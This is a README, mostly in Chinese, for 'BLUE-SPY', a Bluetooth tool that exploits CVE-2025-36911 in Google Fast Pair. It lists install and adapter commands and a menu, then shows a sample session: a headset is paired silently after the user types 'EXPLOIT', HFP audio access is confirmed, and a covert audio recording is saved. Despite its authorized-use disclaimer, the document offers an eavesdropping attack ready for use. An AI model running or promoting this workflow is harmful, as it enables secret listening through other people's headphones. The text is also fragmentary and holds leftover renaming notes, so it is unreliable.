
BLUE-SPY (Bluetooth Low Energy Universal Exploit - Security Penetration Testing) is a professional security assessment tool for analyzing CVE-2025-36911 vulnerabilities in Google's Fast Pair protocol implementation.
⚠️ 本软件仅限授权的安全研究和道德测试使用 ⚠️
未经授权对非您拥有或未获得明确书面许可的设备使用本工具是非法的,可能导致:
使用本工具即表示您承认并承担全部责任。
BLUE-SPY(蓝牙低功耗通用利用 - 安全渗透测试)是一款专业安全评估工具,用于分析 Google Fast Pair 协议实现中的 CVE-2025-36911 漏洞。该工具提供:
bash
git clone https://github.com/Athexhacker/BLUE-SPY.git
cd BLUE-SPY
sudo apt-get update
sudo apt-get install -y \
python3-pip \
bluetooth \
bluez \
bluez-tools \
libbluetooth-dev \
libglib2.0-dev \
pulseaudio \
pulseaudio-module-bluetooth \
sox \
pavucontrol
sudo apt-get install -y python3-dev bash
pip3 install bleak dbus-python cryptography --break-system-packages
python3 -m venv BLUE-SPY-env source BLUE-SPY-env/bin/activate pip install bleak dbus-python cryptography
pip install pyaudio wave
bash
hciconfig -a
sudo systemctl stop bluetooth
sudo systemctl enable bluetooth sudo systemctl start bluetooth
sudo systemctl status bluetooth
sudo hciconfig hci0 piscan
sudo hciconfig hci0 reset
bash
bluetoothctl list
python3 -c "from bleak import BleakScanner; print('Bleak OK')"
sudo python3 BLUE-SPY.py
bash
git clone https://github.com/Athexhacker/BLUE-SPY.git cd BLUE-SPY
sudo apt-get install -y bluetooth bluez python3-pip pip3 install bleak cryptography
sudo python3 BLUE-SPY.py
输入:I ACCEPT RESPONSIBILITY
选择选项:1(快速扫描)
bash
sudo python3 BLUE-SPY.py
主菜单: [1] 快速设备扫描(10秒) [2] 持续网络扫描(60秒以上) [3] 目标特定设备 [4] 高级利用 [5] 查看先前结果 [0] 退出
扫描使用 Google Fast Pair 协议的设备。时长选项:
输出:列出所有 Fast Pair 设备及其漏洞评级(严重/高/中/低)
实时显示所有蓝牙设备,高亮显示 Fast Pair 设备并标注漏洞评级。显示:
允许通过 MAC 地址定位特定设备进行详细分析,包括:
浏览所有保存的扫描结果、利用尝试和音频捕获。
bash
sudo python3 BLUE-SPY.py
输入:I ACCEPT RESPONSIBILITY
选择选项:1 选择扫描类型:1(10秒扫描)
找到 3 个 Fast Pair 设备:
[严重] Sony WH-1000XM4 地址:11:22:33:44:55:66 型号:abcd1234, RSSI: -45dBm 状态:严重 - 高度易受攻击
[中] Galaxy Buds Pro 地址:AA:BB:CC:DD:EE:FF 型号:efgh5678, RSSI: -62dBm 状态:中 - 潜在易受攻击
选择选项:5 选择设备编号:1 输入 'EXPLOIT' 继续:EXPLOIT
利用结果:配对成功 [成功] 设备可能已被入侵。
测试 HFP 连接?(y/n):y [严重] HFP 音频访问已确认!
尝试音频捕获?(y/n):y [成功] 音频捕获成功! 文件:blue_spy_results/audio/capture_112233445566_20250120_093022.wav
BLUE-SPY 自动将所有结果保存到有序目录中:
text blue_spy_results/ ├── scans/ │ ├── scan_20250120_093022.json │ ├── all_devices_20250120_093022.json │ └── target_112233445566_20250120_094155.json ├── exploits/ │ ├── exploit_112233445566_20250120_094155.json │ └── batch_20250120_095233.json └── audio/ └── capture_112233445566_20250120_094230.wav
json { "timestamp": "2026-01-20T09:30:22.123456", "device_count": 3, "devices": [ { "address": "11:22:33:44:55:66", "name": "Sony WH-1000XM4", "rssi": -45, "model_id": "abcd1234", "flags": 0, "tx_power": 4, "vulnerability_status": "CRITICAL - Highly Vulnerable", "vulnerability_score": 75, "vulnerability_reasons": [ "Silent pairing possible", "No passkey required" ] } ] }
bash
hciconfig -a sudo hciconfig hci0 reset
sudo python3 BLUE-SPY.py
sudo hciconfig hci0 piscan bluetoothctl scan on
sudo systemctl restart bluetooth sudo hciconfig hci0 reset
bash
pip3 install --upgrade bleak
pip3 install --upgrade cryptography
sudo apt-get install python3-dbus
bash
bluetoothctl
list # 显示可用适配器 show # 显示适配器详情 scan on # 开始扫描
scan off # 停止扫描 devices # 列出发现的设备 exit
如果您使用本工具发现漏洞:
本软件仅供教育和授权安全测试目的使用。作者和贡献者:
使用本软件即表示您同意:
text
所做的关键修改:
whisper.git 改为 blue-spy.gitwhisper_results 改为 blue_spy_results| 评级 | 分数 | 描述 |
|---|
| 严重 | 60-100 | 高度易受攻击 - 可静默配对 |
| 高 | 40-59 | 可能易受攻击 - 缺少安全标志 |
| 中 | 20-39 | 潜在易受攻击 - 需进一步调查 |
| 低 | 0-19 | 可能已修补 - 看起来安全 |